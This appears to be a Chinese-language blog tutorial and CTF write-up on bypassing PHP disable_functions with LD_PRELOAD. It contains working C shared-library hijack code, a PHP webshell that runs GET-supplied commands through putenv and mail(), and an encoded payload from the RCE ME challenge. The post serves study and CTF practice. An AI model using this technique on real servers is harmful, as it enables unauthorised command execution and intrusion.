LD_PRELOAD绕过disable_function
背景知识
LD_PRELOAD
LD_PRELOAD是一个由动态链接器(dynamic linker)识别的特殊环境变量,它可以让你指定在程序运行时优先加载的动态库(dynamic library)。
LD_PRELOAD列表中的库会在程序运行时加载,并且在任何其他库之前加载。这样,它们就可以覆盖其他库的函数,例如C库(libc)的函数。
静态链接库
静态链接是在编译阶段将库的代码嵌入到目标可执行文件中。也就是说,库中的函数和数据被复制到生成的可执行文件中。因此,静态链接产生的可执行文件可以独立运行,不依赖于任何外部库。静态链接库的扩展名通常为 .a(在 Unix 系统下)或 .lib(在 Windows 系统下)。
动态链接库
动态链接库(也称为共享库)与静态链接库不同。当你使用动态链接库编译程序时,库的代码不会被嵌入到可执行文件中。取而代之的是,在运行时,动态链接器(如 Unix 系统下的 ld.so 或 ld-linux.so)会负责加载库并将其链接到可执行文件。这些信息存储在程序的头部。然后,动态链接器会搜索这些库,并将它们加载到内存中。
当库被加载到内存后,动态链接器会解析程序中的符号(即函数和变量的名字)。对于每一个未定义的符号,动态链接器会在加载的库中查找这个符号,并建立链接。这个过程被称为重定位。
一旦所有的符号都被解析并链接,程序就可以开始执行了。在程序执行过程中,如果它调用了一个库中的函数,CPU 会跳转到这个函数在内存中的地址。这个地址在重定位阶段已经被确定。
攻击思路
本地劫持
一个帮助理解的例子,以id为例。
strace跟踪id的实际调用情况

劫持geteuid函数,首先编写hack.c,其中准备好劫持geteuid的同名函数
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > ./skky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后使用 GCC 编译器来编译 C 语言源文件(hack.c),然后链接生成一个共享库(hack.so)
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so
其中:
- fPIC:这个选项告诉 GCC 生成位置无关代码(Position Independent Code)。这是生成动态库(dynamic library)或共享库(shared library)所需要的,因为这种库可以被加载到任何内存地址,而不需要重新定位。
- share:这个选项告诉 GCC 生成一个共享库而不是一个可执行程序。
准备好这个恶意共享库后,就可以配置LD_PRELOAD环境变量为共享库的路径,紧接着在执行LD_PRELOAD=./hack.so id来调用到这个被覆盖后的geteuid函数

PHP劫持
在已有的文章中显示,一般使用php中的mail()函数进行触发
<?php
mail('','','','');
?>
strace这个脚本strace php demo.php,发现程序会启子进程来调用sendmail,而sendmail又使用了geteuid函数。于是我们可以像刚刚那样劫持geteuid来执行命令。
使用PHPputenv()函数来设置LD_PRELOAD=./hack.so
<?php
putenv('LD_PRELOAD=./hack.so');
mail('','','','');
?>
运行这个脚本即可

但如果没有sendmail呢(我的kali就没有装)?事实上只能劫持某个特定的函数也挺麻烦的,不过还有一种更万能的方法。使用下面的代码,来制作我们的共享库:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
其中__attribute__ ((__constructor__))有如下说明:
- It's run when a shared library is loaded, typically during program startup.
- That's how all GCC attributes are; presumably to distinguish them from function calls.
- The destructor is run when the shared library is unloaded, typically at program exit.
这会在一开始加载动态库的时候,执行__attribute__ ((__constructor__)),进而RCE。
LD_PRELOAD是在脚本中设置的,它可以影响到加载它的进程及其子进程。为了触发加载动态库这一动作,我们必须找到一个能在运行时候启动子进程的函数才行,如果能启动一个子进程,那么我们的设置的LD_PRELOAD就会加载我们的evil shared library。
使用 strace 命令的 -f来追踪mail函数的所有调用,启动子进程的系统调用通常有 fork, vfork, clone, execve 等,比如:pid 12345 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f8babb6ea10) = 12346。很显然,mail函数在运行时是启动了子进程的

将刚刚的C代码编译为动态库neo.so,现在我们来执行这个脚本:
<?php
putenv("LD_PRELOAD=./neo.so");
mail('','','','');
?>
成功RCE

增加一点实用性
让执行的命令从环境变量中动态获取
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((constructor)) void angel (void){
unsetenv("LD_PRELOAD");
char* cmd = getenv("MY_CMD");
system(cmd);
}
在PHP中设置环境变量从GET参数中获取
<?php
$a = $_GET['cmd'];
$cmd = "$a > /tmp/hackerfile";
@putenv("MY_CMD=".$cmd);
putenv("LD_PRELOAD=/tmp/hack.so");
mail("","","","");
echo file_get_contents('/tmp/hackerfile');
?>
[极客大挑战 2019]RCE ME
继续上周的内容,现在用LD_PRELOAD绕过disable_function。
在用?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%94%86%A2%D6%D6)拿到shell之后,发现/flag为空,get flag需要执行/readflag。
Ps.对于上周遗留的问题,这两个括号的作用很可能有两个:
- 用于标记取反计算的范围
- PHP7执行函数的一个格式
(function)(argv),eg:(phpinfo)()。另外('phpinfo')()这样在函数名前加上引号也是可以的。
但是由于disable_functions的限制,这个webshell并不能执行命令

用LD_PRELOAD绕过,在/tmp目录下上传编译好的共享库hack.so和hack.php

用sky参数执行代码包含/tmp/hack.php,在用cmd参数执行/readflag,命令的结果会被保存在/tmp/hackerfile,同时在页面中读取出来。

最后,ARM上编译的库无法在x86中执行!因为这坑浪费了好多时间QAQ
参考链接
深入浅出LD_PRELOAD & putenv()
【PHP绕过】LD_PRELOAD bypass disable_functions